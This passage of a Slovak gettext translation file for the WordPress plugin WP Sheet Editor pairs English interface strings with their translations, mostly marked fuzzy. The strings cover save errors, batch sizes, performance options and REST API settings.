nové riadky" #: wp-sheet-editor/dev/inc/api/editor.php:102 #, fuzzy msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "Hromadná úprava bola vykonaná. Chcete znova načítať stránku, aby ste videli " "zmeny?" #: wp-sheet-editor/dev/inc/api/editor.php:103 #, fuzzy msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Zmeny sa neuložili úplne. Proces bol zrušený z dôvodu chyby .

                  Toto " "kontextové okno môžete zavrieť.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:104 #, fuzzy msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  Automatické ukladanie zlyhalo. Vaše zmeny neboli úplne uložené kvôli " "chybe. Môžete to skúsiť znova neskôr. Ak chyba pretrváva, kontaktujte náš " "tím podpory a nechajte túto kartu otvorenú

                  " #: wp-sheet-editor/dev/inc/api/editor.php:105 #, fuzzy msgid "{updated} items saved of {total} items that need saving." msgstr "" "{updated} uložených položiek z {total} položiek, ktoré je potrebné uložiť." #: wp-sheet-editor/dev/inc/api/editor.php:106 #, fuzzy msgid "{deleted} duplicates have been removed." msgstr "{deleted} duplikátov bolo odstránených." #: wp-sheet-editor/dev/inc/api/editor.php:107 #, fuzzy msgid "All items have been saved." msgstr "Všetky položky boli uložené." #: wp-sheet-editor/dev/inc/api/editor.php:108 #, fuzzy msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Skontrolujte, či nemáte neuložené zmeny. Ak máte, uložte si ich, inak budú " "zrušené." #: wp-sheet-editor/dev/inc/api/editor.php:109 #, fuzzy msgid "Everything is already saved." msgstr "Všetko je už uložené." #: wp-sheet-editor/dev/inc/api/editor.php:110 #, fuzzy msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "Server našu požiadavku neprijal. Chybná požiadavka, skúste obnoviť stránku a " "skúste to znova." #: wp-sheet-editor/dev/inc/api/editor.php:111 #, fuzzy msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "Server našu požiadavku neprijal. Na vykonanie tejto akcie nemáte povolenie. " "Prihláste sa znova." #: wp-sheet-editor/dev/inc/api/editor.php:112 #, fuzzy msgid "The server is not available or overloaded. Please try again later." msgstr "Server nie je dostupný alebo je preťažený. Skúste neskôr prosím." #: wp-sheet-editor/dev/inc/api/editor.php:113 #, fuzzy msgid "The server is not available or overloaded. Do you want to try again?" msgstr "Server nie je dostupný alebo je preťažený. Chcete to skúsiť znova?" #: wp-sheet-editor/dev/inc/api/editor.php:114 #, fuzzy msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "Automatické ukladanie zlyhalo: server nie je dostupný alebo je preťažený. " "Chcete to skúsiť znova?" #: wp-sheet-editor/dev/inc/api/editor.php:115 #, fuzzy msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "Server nemohol spracovať našu požiadavku. Chyba servera. Skúste neskôr " "prosím." #: wp-sheet-editor/dev/inc/api/editor.php:116 #, fuzzy msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "Server prekročil svoje pridelené zdroje a nie je schopný spracovať našu " "požiadavku." #: wp-sheet-editor/dev/inc/api/editor.php:117 #, fuzzy msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "Server je zaneprázdnený a odpoveď na našu požiadavku trvala príliš dlho. " "Skúste neskôr prosím." #: wp-sheet-editor/dev/inc/api/editor.php:118 #, fuzzy msgid "The server could not process our request. Please try again later." msgstr "Server nemohol spracovať našu požiadavku. Skúste neskôr prosím." #: wp-sheet-editor/dev/inc/api/editor.php:236 #, fuzzy msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Tieto správy pomocníka môžete odstrániť v rozšírených nastaveniach)" #: wp-sheet-editor/dev/inc/api/editor.php:269 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:270 #, fuzzy msgid "Enable" msgstr "Povoliť" #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "

                  Missing column?

                  or " msgstr "" "

                  Chýba stĺpec?

                  " "alebo " #: wp-sheet-editor/dev/inc/api/editor.php:318 #, fuzzy msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "Zaslúžime si 5-hviezdičkovú recenziu? Áno, zaslúžiš si " "to . - . Nie" #: wp-sheet-editor/dev/inc/api/helpers.php:363 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #, fuzzy msgid "(Pro extension)" msgstr "(Pro rozšírenie)" #: wp-sheet-editor/dev/inc/api/helpers.php:367 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 #, fuzzy msgid "(Install free extension)" msgstr "(Nainštalujte si bezplatné rozšírenie)" #: wp-sheet-editor/dev/inc/api/helpers.php:464 #, fuzzy msgid "The item could not be saved. Please try again in other moment." msgstr "Položku nebolo možné uložiť. Skúste to znova inokedy." #: wp-sheet-editor/dev/inc/api/helpers.php:774 #, fuzzy msgid "User not allowed to edit rows" msgstr "Používateľ nemá povolené upravovať riadky" #: wp-sheet-editor/dev/inc/api/helpers.php:1005 #, fuzzy msgid "No more posts available." msgstr "Nie sú k dispozícii žiadne ďalšie príspevky." #: wp-sheet-editor/dev/inc/api/helpers.php:1007 #, fuzzy msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "Nenašli sa žiadne príspevky zodpovedajúce vašim parametrom vyhľadávania. " "Môžete odstrániť aktívne filtre alebo skúsiť použiť iné vyhľadávanie." #: wp-sheet-editor/dev/inc/api/helpers.php:1009 #, fuzzy msgid "No posts available for the current page." msgstr "Pre aktuálnu stránku nie sú dostupné žiadne príspevky." #: wp-sheet-editor/dev/inc/api/logger.php:64 #, fuzzy msgid "The log file does not exist." msgstr "Súbor denníka neexistuje." #: wp-sheet-editor/dev/inc/integrations/elementor.php:37 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 #, fuzzy msgid "Live" msgstr "Naživo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 #, fuzzy msgid "Speed and performance" msgstr "Rýchlosť a výkon" #: wp-sheet-editor/dev/inc/options-init.php:25 #, fuzzy msgid "Load rows faster: Number of rows to load per batch" msgstr "" "Rýchlejšie načítanie riadkov: Počet riadkov, ktoré sa majú načítať na dávku" #: wp-sheet-editor/dev/inc/options-init.php:26 #, fuzzy msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Stránkovanie používame na využitie malého množstva serverových zdrojov. " "Najprv načítame 20 riadkov a pri každom posúvaní nadol načítame 20 ďalších. " "Toto číslo môžete zvýšiť, aby ste načítali viac riadkov na stránku. POZOR " "Načítanie viac ako 200 riadkov na stránku môže preťažiť váš server. Ak " "zistíme, že server je preťažený, automaticky sa nastaví na 10 riadkov na " "stránku." #: wp-sheet-editor/dev/inc/options-init.php:33 #, fuzzy msgid "Export rows faster: Number of rows to export per batch" msgstr "Rýchlejší export riadkov: Počet riadkov na export na dávku" #: wp-sheet-editor/dev/inc/options-init.php:34 #, fuzzy msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Tu môžete ovládať veľkosť dávky pre exporty. Ak použijete vysoké číslo, " "exporty sa dokončia rýchlejšie. Vysoké číslo môžete použiť bezpečne, pretože " "ak je server počas jedného exportu preťažený, automaticky sa vrátime k " "nižšiemu číslu. Napríklad exportujte 100 riadkov na dávku a dokončite " "exporty super rýchlo a ak zistíme pomalosť v jednom exporte, automaticky " "reštartujeme export s 10 riadkami na dávku" #: wp-sheet-editor/dev/inc/options-init.php:41 #, fuzzy msgid "Save changes faster: Number of rows to save per batch" msgstr "Rýchlejšie ukladanie zmien: Počet riadkov na uloženie na dávku" #: wp-sheet-editor/dev/inc/options-init.php:42 #, fuzzy msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Keď upravujete veľké množstvo príspevkov v tabuľkovom editore, nemôžeme " "uložiť všetky zmeny naraz, takže to robíme v dávkach. Odporúčaná hodnota je " "4 , čo znamená, že naraz spracujeme iba 4 príspevky. Môžete si ho upraviť " "tak, ako vám to najlepšie vyhovuje. Ak sa pri ukladaní vyskytnú chyby, mali " "by ste číslo znížiť" #: wp-sheet-editor/dev/inc/options-init.php:49 #, fuzzy msgid "Delete posts faster: Number of posts to delete per batch" msgstr "" "Rýchlejšie odstraňovanie príspevkov: Počet príspevkov, ktoré sa majú " "odstrániť v jednej dávke" #: wp-sheet-editor/dev/inc/options-init.php:50 #, fuzzy msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Keď vymažete príspevky, stránky, udalosti, produkty, objednávky, kupóny a " "iné typy príspevkov, môžete si vybrať, koľko sa ich z každej dávky odstráni. " "Ak chcete dokončiť rýchlejšie, použite vyššie číslo. Predvolená hodnota je " "500" #: wp-sheet-editor/dev/inc/options-init.php:58 #, fuzzy msgid "Increase Productivity" msgstr "Zvýšte produktivitu" #: wp-sheet-editor/dev/inc/options-init.php:63 #, fuzzy msgid "Use pagination in the spreadsheet?" msgstr "Chcete použiť stránkovanie v tabuľke?" #: wp-sheet-editor/dev/inc/options-init.php:64 #, fuzzy msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "V predvolenom nastavení používame nekonečný zoznam riadkov a pri každom " "posúvaní nadol načítame ďalšie riadky. Túto možnosť môžete aktivovať, ak " "chcete zobraziť odkazy na stránkovanie a zakázať nekonečný zoznam." #: wp-sheet-editor/dev/inc/options-init.php:70 #, fuzzy msgid "Disable the automatic loading of rows?" msgstr "Zakázať automatické načítanie riadkov?" #: wp-sheet-editor/dev/inc/options-init.php:71 #, fuzzy msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Keď otvoríte tabuľku, automaticky načítame riadky, takže môžete okamžite " "začať s úpravami. Aktivujte túto možnosť, ak chcete vyhľadávať riadky a " "načítať manuálne." #: wp-sheet-editor/dev/inc/options-init.php:77 #, fuzzy msgid "Disable the full screen mode?" msgstr "Zakázať režim celej obrazovky?" #: wp-sheet-editor/dev/inc/options-init.php:78 #, fuzzy msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Keď sa hárok načíta, otvoríme ho na celú obrazovku a vy máte možnosť ukončiť " "režim celej obrazovky. Aktivujte túto možnosť a hárok neotvoríme na celej " "obrazovke." #: wp-sheet-editor/dev/inc/options-init.php:84 #, fuzzy msgid "Load more items on scroll?" msgstr "Načítať viac položiek pri posúvaní?" #: wp-sheet-editor/dev/inc/options-init.php:85 #, fuzzy msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Keď je táto možnosť povolená, na koniec stránky sa do spodnej časti tabuľky " "načíta viac položiek. Môžete povoliť / zakázať aj v tabuľke." #: wp-sheet-editor/dev/inc/options-init.php:92 #, fuzzy msgid "Freeze first columns at the left side?" msgstr "Zmraziť prvé stĺpce na ľavej strane?" #: wp-sheet-editor/dev/inc/options-init.php:93 #, fuzzy msgid "" "Enter a number and those columns will be frozen while scrolling horizontally." " You can right click on any column to freeze or unfreeze it. For example, " "enter 2 to freeze the first 2 columns" msgstr "" "Zadajte číslo a tieto stĺpce budú pri vodorovnom posúvaní zmrazené. " "Kliknutím pravým tlačidlom myši na ľubovoľný stĺpec ho zmrazíte alebo " "rozmrazíte. Napríklad zadaním 2 zmrazíte prvé 2 stĺpce" #: wp-sheet-editor/dev/inc/options-init.php:99 #, fuzzy msgid "Enable auto saving?" msgstr "Povoliť automatické ukladanie?" #: wp-sheet-editor/dev/inc/options-init.php:100 #, fuzzy msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Zapnite toto a tabuľka automaticky uloží všetky zmeny vykonané v bunkách " "každé 2 minúty. Pozor, môže to spôsobiť problémy, ak sa zmeny uložia " "predčasne pred dokončením úprav všetkých požadovaných stĺpcov." #: wp-sheet-editor/dev/inc/options-init.php:107 #, fuzzy msgid "Solution to weird errors" msgstr "Riešenie zvláštnych chýb" #: wp-sheet-editor/dev/inc/options-init.php:113 #, fuzzy msgid "Columns limit" msgstr "Limit stĺpcov" #: wp-sheet-editor/dev/inc/options-init.php:114 #, fuzzy msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Stĺpce tabuľky obmedzujeme z dôvodu výkonu, aby sa predišlo načítaniu " "tisícok stĺpcov v tabuľke. Tento limit môžete zvýšiť, ak chcete zobraziť " "viac stĺpcov. Predvolená hodnota: 310" #: wp-sheet-editor/dev/inc/options-init.php:120 #, fuzzy msgid "Separator for taxonomy terms cells" msgstr "Oddeľovač buniek taxonómie" #: wp-sheet-editor/dev/inc/options-init.php:121 #, fuzzy msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Stĺpce taxonómie, ako sú kategórie príspevkov, značky príspevkov atď., " "zobrazujú výrazy oddelené čiarkou. Ak v názvoch výrazov používate čiarky, " "použite túto možnosť na zmenu oddeľovača" #: wp-sheet-editor/dev/inc/options-init.php:128 #, fuzzy msgid "How long do you want to wait between batches? (in seconds)" msgstr "Ako dlho chcete medzi dávkami čakať? (v sekundách)" #: wp-sheet-editor/dev/inc/options-init.php:129 #, fuzzy msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Keď upravujete veľké množstvo príspevkov v tabuľkovom editore, nemôžeme " "uložiť všetky zmeny naraz, takže to robíme v dávkach. Váš server však " "nedokáže spracovať všetky dávky jednu po druhej, takže po každej dávke " "musíme počkať niekoľko sekúnd, aby sme váš server trochu prerušili. " "Odporúčaná hodnota je 6 sekúnd, môžete si ju upraviť tak, ako vám najlepšie " "vyhovuje. Ak sa pri ukladaní vyskytnú chyby, mali by ste zvýšiť počet, aby " "váš server mal dlhšiu prestávku po každej dávke" #: wp-sheet-editor/dev/inc/options-init.php:135 #, fuzzy msgid "Disable post actions while saving?" msgstr "Zakázať akcie príspevkov pri ukladaní?" #: wp-sheet-editor/dev/inc/options-init.php:136 #, fuzzy msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Niektoré doplnky vykonávajú úlohu po vytvorení alebo aktualizácii príspevku. " "Existujú napríklad doplnky, ktoré zdieľajú vaše nové príspevky na vašich " "sociálnych profiloch, iné doplnky, ktoré upozornia používateľov na " "aktualizáciu príspevku atď. S týmito doplnkami môže byť problém. Ak " "napríklad používate doplnok, ktorý zdieľa vaše nové príspevky na vašom účte " "na Twitteri a aktualizujete 100 príspevkov v editore tabuliek, môžete " "skončiť so 100 tweetmi zdieľanými vo vašom účte na Twitteri. Preto povoľte " "túto možnosť, ak chcete aktualizovať / vytvárať príspevky potichu bez " "vykonania týchto funkcií." #: wp-sheet-editor/dev/inc/options-init.php:142 #, fuzzy msgid "Suspend object cache invalidation?" msgstr "Pozastaviť zrušenie platnosti vyrovnávacej pamäte objektov?" #: wp-sheet-editor/dev/inc/options-init.php:143 #, fuzzy msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Toto zakážte, ak používate doplnok vyrovnávacej pamäte objektov/databáz. V " "predvolenom nastavení to zakážeme, aby sa ukladanie zrýchlilo, keď " "upravujete veľa príspevkov, WordPress sa snaží „vyčistiť“ vyrovnávaciu pamäť," " aj keď nepoužívate doplnok vyrovnávacej pamäte, čo robí stovky zbytočných " "databázových dotazov." #: wp-sheet-editor/dev/inc/options-init.php:149 #, fuzzy msgid "Disable the replacement of line breaks with p tags?" msgstr "Zakázať nahradenie zlomov riadkov značkami p?" #: wp-sheet-editor/dev/inc/options-init.php:150 #, fuzzy msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Keď sa hárok načíta a uloží obsah príspevku, spustíme ho cez wpautop, aby " "sme predišli problémom s prerušovaním riadkov. Môžete to vypnúť, ak nechcete " "vidieť/ukladať značky p v obsahu." #: wp-sheet-editor/dev/inc/options-init.php:156 #, fuzzy msgid "Deactivate the data prefetch" msgstr "Deaktivujte predbežné načítanie údajov" #: wp-sheet-editor/dev/inc/options-init.php:157 #, fuzzy msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Keď načítate tabuľku, získame všetky stĺpce naraz z databázy, aby to bolo " "rýchlejšie, nazýva sa to predbežné načítanie. To môže spôsobiť problémy, ak " "máte tisíce stĺpcov alebo zriedkavé nastavenia databázy." #: wp-sheet-editor/dev/inc/options-init.php:163 #, fuzzy msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Meta kľúče, ktoré by mali používať obslužný nástroj nekonečných " "serializovaných polí" #: wp-sheet-editor/dev/inc/options-init.php:164 #, fuzzy msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Toto je len pre pokročilých používateľov alebo ak vás náš tím podpory " "požiada o použitie tejto možnosti. Máme 2 spôsoby spracovania " "serializovaných polí: starý obslužný program (štandardne používaný, ktorý má " "obmedzenia) a nekonečný obslužný program serializácie (lepšie, v predvolenom " "nastavení nie je aktívny, aby nenarušil predchádzajúce integrácie). Túto " "možnosť použite, ak máte serializované polia, ktoré sa ukladajú nesprávne " "alebo sa nezobrazujú v tabuľke." #: wp-sheet-editor/dev/inc/options-init.php:169 #, fuzzy msgid "Blacklist these columns" msgstr "Zakázať tieto stĺpce" #: wp-sheet-editor/dev/inc/options-init.php:170 #, fuzzy msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Zadajte zoznam kľúčov polí oddelených čiarkami, môžete zadať úplný meta kľúč " "poľa alebo čiastočné kľúčové slová alebo predpony. Je to užitočné, pretože " "niektoré doplnky pridávajú do databázy tisíce nepotrebných polí a zahlcujú " "tabuľku" #: wp-sheet-editor/dev/inc/options-init.php:175 #, fuzzy msgid "Enable the utf8 encoding fix" msgstr "Povoľte opravu kódovania utf8" #: wp-sheet-editor/dev/inc/options-init.php:176 #, fuzzy msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "Môže to pomôcť, ak sa tabuľka nenačíta alebo sa načíta prázdna." #: wp-sheet-editor/dev/inc/options-init.php:183 #, fuzzy msgid "Customize features" msgstr "Prispôsobte funkcie" #: wp-sheet-editor/dev/inc/options-init.php:188 #, fuzzy msgid "Enable option to restrict spreadsheet views per user?" msgstr "Chcete povoliť možnosť obmedziť zobrazenia tabuľky na používateľa?" #: wp-sheet-editor/dev/inc/options-init.php:189 #, fuzzy msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Ak povolíte túto možnosť, pridáme do používateľských profilov polia, kde " "môžete určiť, ktoré zobrazenia tabuliek môžu používať, môžu používať všetky " "zobrazenia tabuliek, ak je táto možnosť deaktivovaná." #: wp-sheet-editor/dev/inc/options-init.php:195 #, fuzzy msgid "Enable simple mode?" msgstr "Povoliť jednoduchý režim?" #: wp-sheet-editor/dev/inc/options-init.php:196 #, fuzzy msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Ak povolíte túto možnosť, zjednodušíme možnosti tabuľky a odstránime " "rozšírené príklady, tipy a možnosti, ktoré sa zriedka používajú vo " "vyhľadávacom nástroji, nástroji na hromadné úpravy, nástroji na import, " "nástroji na export a na iných miestach." #: wp-sheet-editor/dev/inc/options-init.php:202 #, fuzzy msgid "Disable the automatic formatting detection?" msgstr "Zakázať automatické zisťovanie formátovania?" #: wp-sheet-editor/dev/inc/options-init.php:203 #, fuzzy msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Ak povolíte túto možnosť, niektoré stĺpce sa zobrazia ako text. Normálne " "rozpoznávame dátumové polia, obrazové polia." #: wp-sheet-editor/dev/inc/options-init.php:209 #, fuzzy msgid "Disable cells lazy loading?" msgstr "Zakázať lenivé načítanie buniek?" #: wp-sheet-editor/dev/inc/options-init.php:210 #, fuzzy msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. However," " if you want to use the browser search to find a specific cell, you need to " "disable the lazy loading in order to load all the rows at once and the " "browser will be able to find the cells. The browser search doesn't work by " "default because only the \"visible rows\" are actually created." msgstr "" "Tabuľka načítava iba „viditeľné riadky“ z dôvodov výkonu, takže keď posúvate " "nahor alebo nadol, riadky sa načítavajú dynamicky. Takto môžete „otvoriť“ " "tisíce príspevkov v tabuľke a bude to fungovať rýchlo. Ak však chcete použiť " "vyhľadávanie prehliadača na nájdenie konkrétnej bunky, musíte vypnúť lenivé " "načítanie, aby sa načítali všetky riadky naraz a prehliadač bude môcť bunky " "nájsť. Vyhľadávanie prehliadača v predvolenom nastavení nefunguje, pretože " "sa vytvárajú iba „viditeľné riadky“." #: wp-sheet-editor/dev/inc/options-init.php:216 #, fuzzy msgid "Disable usage stats widget?" msgstr "Zakázať miniaplikáciu štatistík používania?" #: wp-sheet-editor/dev/inc/options-init.php:217 #, fuzzy msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Ak povolíte túto možnosť, miniaplikácia štatistík používania zobrazená na " "paneli wp-admin bude odstránená." #: wp-sheet-editor/dev/inc/options-init.php:223 #, fuzzy msgid "Disable serialized columns support?" msgstr "Zakázať podporu serializovaných stĺpcov?" #: wp-sheet-editor/dev/inc/options-init.php:224 #, fuzzy msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "Tabuľkový hárok automaticky generuje stĺpce pre serializované polia, ale to " "môže vyžadovať veľa cyklov CPU v závislosti od počtu serializovaných polí. " "Túto funkciu môžete vypnúť, ak sa hárok načítava príliš pomaly alebo ak sa " "pri načítavaní riadkov vyskytnú chyby, alebo ak nechcete vidieť stĺpce s " "predponou „SEIS“." #: wp-sheet-editor/dev/inc/options-init.php:230 #, fuzzy msgid "Disable the heartbeat api in the spreadsheet?" msgstr "Zakázať rozhranie API srdcového tepu v tabuľke?" #: wp-sheet-editor/dev/inc/options-init.php:231 #, fuzzy msgid "" "WordPress uses the heartbeat API to check the login status every few seconds." " This can overload your server because it could make hundreds of requests " "when you are editing in the spreadsheet. You can disable it to reduce the " "stress on your server while editing in the sheet. However, if you keep the " "spreadsheet opened over multiple days your login session can expire and you " "wont be notified if you disable the heartbeat and this can cause issues " "while saving. So use this option only when you use the spreadsheet for a few " "hours only." msgstr "" "WordPress používa heartbeat API na kontrolu stavu prihlásenia každých pár " "sekúnd. To môže preťažiť váš server, pretože pri úprave tabuľky môže zadávať " "stovky požiadaviek. Môžete ho zakázať, aby ste znížili záťaž na serveri pri " "úpravách v hárku. Ak však necháte tabuľku otvorenú počas niekoľkých dní, " "platnosť vašej prihlasovacej relácie môže uplynúť a nebudete upozornení, ak " "vypnete srdcový tep, čo môže spôsobiť problémy pri ukladaní. Túto možnosť " "teda použite iba vtedy, keď tabuľku používate len niekoľko hodín." #: wp-sheet-editor/dev/inc/options-init.php:237 #, fuzzy msgid "Deactivate everything. Use the REST API only" msgstr "Deaktivujte všetko. Používajte iba REST API" #: wp-sheet-editor/dev/inc/options-init.php:238 #, fuzzy msgid "" "If you activate this option we will deactivate all the spreadsheets, " "settings pages, and the entire plugin will become invisible to the user. " "Only the REST API will remain active. This is useful for advanced scenarios " "when you only use our REST API to keep websites synchronized with external " "spreadsheets or systems. When this option is active, our settings page will " "moved under the general settings menu because our sheet editor menu will be " "removed" msgstr "" "Ak aktivujete túto možnosť, deaktivujeme všetky tabuľky, stránky nastavení a " "celý doplnok sa pre používateľa stane neviditeľným. Aktívne zostane iba " "rozhranie REST API. Je to užitočné pre pokročilé scenáre, keď používate naše " "REST API iba na synchronizáciu webových stránok s externými tabuľkami alebo " "systémami. Keď je táto možnosť aktívna, naša stránka nastavení sa presunie " "do ponuky všeobecných nastavení, pretože naša ponuka editora hárkov bude " "odstránená" #: wp-sheet-editor/dev/inc/options-init.php:245 #, fuzzy msgid "User roles that can use the spreadsheet editor" msgstr "Roly používateľov, ktoré môžu používať editor tabuliek" #: wp-sheet-editor/dev/inc/options-init.php:246 #, fuzzy msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "Doplnok sa neinicializuje pre používateľské roly, ktoré tu nie sú vybraté." #: wp-sheet-editor/dev/inc/options-init.php:252 #, fuzzy msgid "Enable the fancy taxonomy terms selector" msgstr "Povoľte výber efektných výrazov taxonómie" #: wp-sheet-editor/dev/inc/options-init.php:253 #, fuzzy msgid "" "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " "default for selecting one term only and the column can be copy pasted. We " "have a fancy dropdown selector, which has better auto complete, allows " "selecting multiple options, etc. but it uses more server resources and it " "doesn't allow copy pasting in these cells. You can activate it here if you " "prefer a better dropdown over the ability to copy paste." msgstr "" "Stĺpce taxonómie (t. j. kategórie, značky) štandardne používajú obmedzenú " "rozbaľovaciu ponuku na výber iba jedného výrazu a stĺpec je možné skopírovať " "a vložiť. Máme efektný rozbaľovací selektor, ktorý má lepšie automatické " "dokončovanie, umožňuje výber viacerých možností atď., ale využíva viac " "zdrojov servera a neumožňuje vkladanie kopírovania do týchto buniek. Môžete " "ho aktivovať tu, ak uprednostňujete lepšiu rozbaľovaciu ponuku pred " "možnosťou kopírovania a vkladania." #: wp-sheet-editor/dev/inc/options-init.php:259 #, fuzzy msgid "Enable the REST API" msgstr "Povoľte rozhranie REST API" #: wp-sheet-editor/dev/inc/options-init.php:260 #, fuzzy msgid "" "The REST API can be used for interacting with our spreadsheet from external " "apps." msgstr "" "Rozhranie REST API možno použiť na interakciu s našou tabuľkou z externých " "aplikácií." #: wp-sheet-editor/dev/inc/options-init.php:266 #, fuzzy msgid "Show all the custom post statuses?" msgstr "Zobraziť všetky vlastné stavy príspevkov?" #: wp-sheet-editor/dev/inc/options-init.php:267 #, fuzzy msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "V predvolenom nastavení zobrazujeme ZÁKLADNÉ stavy: zverejnené, koncept, " "súkromné, naplánované, kôš. Niektoré doplnky však registrujú vlastné stavy: " "manažéri úloh, woocommerce. Povolením tejto možnosti zobrazíte všetky " "vlastné stavy v stĺpci „stav“. POZOR V rozbaľovacej ponuke zobrazíme všetky " "stavy zo všetkých typov príspevkov, pretože nie je možné poznať typ " "príspevku každého stavu, takže ich nemôžeme oddeliť. Urobte to, iba ak ste " "vývojár." #: wp-sheet-editor/dev/inc/options-init.php:273 #, fuzzy msgid "Remove help messages from the cells?" msgstr "Odstrániť pomocné správy z buniek?" #: wp-sheet-editor/dev/inc/options-init.php:274 #, fuzzy msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for 